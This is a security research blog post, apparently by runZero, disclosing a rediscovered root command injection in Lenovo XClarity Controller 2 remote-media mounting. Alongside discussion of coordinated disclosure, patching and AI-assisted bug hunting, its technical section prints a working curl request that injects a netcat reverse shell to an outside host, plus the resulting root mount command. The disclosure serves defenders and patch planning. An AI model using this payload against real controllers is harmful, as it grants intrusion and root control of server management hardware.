As mentioned on this very blog, runZero kicked off a research project this summer to assess the viability of attacks targeting Baseboard Management Controllers (BMCs), which culminated in the Lights Out project presented in Las Vegas at both Black Hat USA 2026 and DEF CON 34. Over the next few weeks, the embargos on the technical details of these vulnerabilities will be lifted, and we’ll be tracking those disclosures on this ongoing blog post as well as our advisories page.
If you want to cut to the chase, and you’re a runZero customer, you can search your own environment for Lenovo XCC2 devices with the following query:
_asset.protocol:=http AND protocol:=http AND (html.title:="Lenovo XClarity Controller 2" OR last.html.title:="Lenovo XClarity Controller 2")
Rediscovering CVE-2024-38508 as an N-day #
Today’s post is a little different, though. One finding popped up, involving the Lenovo XClarity Controller 2 (XCC), observed on version 1.10 of the firmware, and when we informed Lenovo about it, they came back and said that this was actually a rediscovery of a prior vulnerability. They pointed to CVE-2024-38508, and how it was fixed back then. In their words:
> XCC2 v1.10 where this vulnerability was discovered was an early firmware release for XCC2, released circa-03/2023. Current XCC2 firmware is v8.80, released circa-07/2026. Releases often contain security fixes; security fixes are cumulative.
> The reported vulnerability was discovered internally, fixed, and disclosed in 2024. CVE-2024-38508 was issued and publicly disclosed in this Lenovo PSIRT advisory.
> We have evaluated the report, exploit documented in the .md file, and permutations of the exploit against the current XCC2 v8.80 firmware and are not able to reproduce.
> Our evaluation is that the reported vulnerability was successfully resolved in 2024 and subsequent firmware is not vulnerable.
In the exploit-dev parlance, this kind of historical collision is often known as an “N-Day” finding, as opposed to a zero-day finding. The vendor is already aware, already has a fix, but there are still likely targets still running on internal and external networks.
So, on the one hand, good job on the Lenovo responders for quickly discovering that this is a duplicate finding, and for fixing it a couple years ago. On the other hand, not everyone pays slavish attention to vendor product updates, especially for components they may not be directly familiar with.
Patching is hard #
Even if you’re super on-top of vendor advisories, the procedure for updating BMC firmware from any vendor is often rather involved, and Lenovo’s guidance on applying updates is no different. There’s really no practical auto-update feature for BMCs, since these updates tend to mean disruption and downtime, so they need to be scheduled manually. In other words, even with an advisory and fix available, BMC firmware, in general, is especially resistant to routine updates (making them inherently more vulnerable and a more attractive target).
As a vulnerability researcher, you always run the risk that the new shiny finding you’ve just uncovered is actually already known and fixed by the vendor. AI-assisted vulnerability research is no different: even when you’re armed with the whole universe of CVE data, you won’t necessarily know that you’ve come across a previously identified and fixed vulnerability on the target system you’re analyzing. In the case of CVE-2024-38508, all we have to go on in the CVE description is this:
> A privilege escalation vulnerability was discovered in the web interface or SSH captive command shell interface of XCC that could allow an authenticated XCC user with elevated privileges to perform command injection via a specially crafted request.
There’s not a lot of detail there to know if this particular finding matches up with the CVE record. The reference link only discusses the patch, not the vulnerability, so the secrets of how the vulnerability works still remain obscure; no path info, exposure discussion, or minimum user account requirements. This is simply an important observation instead of a knock on Lenovo – vendor PSIRTs (product security incident response teams) are habitually close-lipped about specific exploitation details in their CVE records.
AI is not magic #
I expect we’ll be seeing tons of duplicates as more and more people start integrating AI in their bug-hunting, and not everyone is going to bother with coordinating vulnerability disclosure; keep that in mind when you read reports of AI uncovering zillions of vulnerabilities. For the LightsOut project, we started with a couple hundred likely findings, winnowed that down to about a hundred reserved CVEs, and we’re now looking at disclosing around 35 issues after vetting with vendors.
The findings below are useful in order to understand what all’s actually going on with this vulnerability from a practical exploitation perspective, and more importantly, to build detections, figure out likely indicators of compromise (IoCs), and come up with tooling to mitigate the issue if you need to schedule your firmware update far in the future.
In vuln research circles, it’s always a little deflating to find a sweet privilege escalation vulnerability only to later learn that it’s a duplicate. But, that’s a big part of the reason for coordinated vulnerability disclosure in the first place. The technology providers often know their software better than anyone, and, as we’ve seen in the Lenovo case here, can pretty quickly spot a duplicate finding and know they don’t have much to do.
These days, it’s also often easy to get spellbound by an AI assistant when hunting bugs. AI is ultimately a people-pleaser, and will start jumping at shadows if you accidentally start prompting in that direction. Exhaustively back-testing and forward-testing findings with different firmware versions can be cumbersome even with AI help, given the limitations of actual hardware versus virtualization, not to mention token-expensive. These are all great reasons to loop in a human expert early on, and Lenovo was a great partner in investigating and identifying this particular finding.
Lenovo XCC2 Remote-Media user privilege escalation (fixed) #
With that, here are the details (re)discovered about CVE-2024-38508. As mentioned, we’re publishing this with the hope that it’ll encourage folks to update their XCC2 to the latest version as well as let defenders in on the secrets of exploitation, so they can notice if someone tries using this bug. I’d also like to use this as an object lesson to encourage researchers to not only engage in normal coordinated vulnerability disclosures, but to consider publishing their findings even when the bug is “old.” There’s still useful lessons to be learned here. After all, keeping vulnerability details secret really only helps the attackers by keeping defenders in the dark.
Executive Summary #
The XClarity Controller remote-media transport builds the /bin/mount command line as a single formatted string and passes it to a shell inside the root-privileged xferd file-transfer daemon. Two request-controlled parameters of a remote-media connect request, the SMB domain and the mountoption string, are interpolated into that command with only a narrow character filter that does not remove shell metacharacters. An authenticated user with the Remote-Media (Operator-class) privilege can embed a command substitution or a command separator in either field and have it executed as root on the controller.
Attacker Value #
This issue may allow an authenticated low-privilege user to execute arbitrary commands as root on the management controller. The request that reaches the mount command is served post-authentication at the Remote-Console/Remote-Media privilege level, which is an Operator-class role rather than full administrator, so an account that is only permitted to attach remote media is inside the reachable set. The injected command runs with the identity of the xferd daemon, which is root, giving the attacker full control of the controller: reading and writing controller state, altering credentials and configuration, and using the controller's position against the managed host. Because the vulnerable parameters are ordinary mount options, a well-formed remote-media connect request carries the payload without any malformed or oversized input.
Technical Details #
The remote-media mount is assembled in libvmtrans.so. The mount_remote_folder routine formats the command as /bin/mount -t %s %s %s %s %s %s %s %s %s, where the request's SMB domain is placed into an -o domain="%s" fragment and the request's mount-option string into an -o %s -o timeo=10,retry=0 fragment. The finished string is handed to proc_system, a system()/shell wrapper, and the daemon that executes it runs as root.
The domain and mountoption fields pass only a narrow inline character filter that rejects a small set of characters (space, double quote, apostrophe, forward slash, exclamation mark). The shell metacharacters ;, $, `, <, >, |, &, (, and ) are not rejected, so a value such as mountoption=vers=3.0;<command> closes the -o option and starts a new command, and a value such as domain=x$(<command>) uses command substitution inside the quoted domain option. Either form runs an attacker-specified command as root.
The remote-path field of the same request is not a usable vector. It is routed through validate_path in libpm.so, a denylist that rejects space, double quote, $, %, &, ', (, ), *, /, :, ;, <, >, ?, |, `, [, \, and ], so shell metacharacters cannot pass in the path. Only the domain and mountoption fields reach the shell without that denylist.
The web front end registers POST /api/providers/rp_vm_remote_connect in Flask and requires a JWT-authenticated session. The handler parses form fields Url, Protocol, Write, Credential, Option, and Domain, applies only a literal-space check and a leading-dash check to the relevant strings, then calls _remote.RP_VmRemoteConnect, which reaches the native mount transport. The same module also exposes Grant_RP_Privilege ("grant Remote Console privilege to Operator role") and an update_remote_console_privilege_to_operator_user path, confirming that an Operator-role account is inside the reachable set.
curl -sk -X POST https://example.lan/api/providers/rp_vm_remote_connect \
-H "Authorization: Bearer $JWT" \
-d 'Url=//192.0.2.20/share/boot.iso' \
-d 'Protocol=0' \
-d 'Write=0' \
-d 'Credential=svc:password' \
-d 'Domain=WORKGROUP' \
-d 'Option=vers=3.0;/bin/busybox nc 192.0.2.10 4444 -e /bin/sh'
The connect handler returns a mount status rather than command output:
HTTP/1.1 200 OK
Content-Type: application/json
{"return":0}
For this request, mount_remote_folder constructs the following shell command and proc_system() runs it as root:
/bin/mount -t cifs ... -o domain="WORKGROUP" -o vers=3.0;/bin/busybox nc 192.0.2.10 4444 -e /bin/sh -o timeo=10,retry=0 ...
Credit #
Identified by runZero with the help of AI tools.
Timeline #
- 2026-07-18: Initial findings discovered and documented
- 2026-07-21: CVE-2026-65201 reserved
- 2026-08-28: Reported to CERT/CC via VINCE (VU#216901)
- 2026-08-31: CERT/CC notified Lenovo
- 2026-09-01: Transferred CVE-2026-65201 to Lenovo, as offered
- 2026-09-02: Lenovo notified CERT/CC of the duplicate nature of the report, citing CVE-2024-38508
- 2026-09-17: runZero confirmed with CERT/CC that CVE-2024-38508 is correct
- 2026-09-21: Shared this disclosure with Lenovo, implemented minor edits
- 2026-09-23: This public disclosure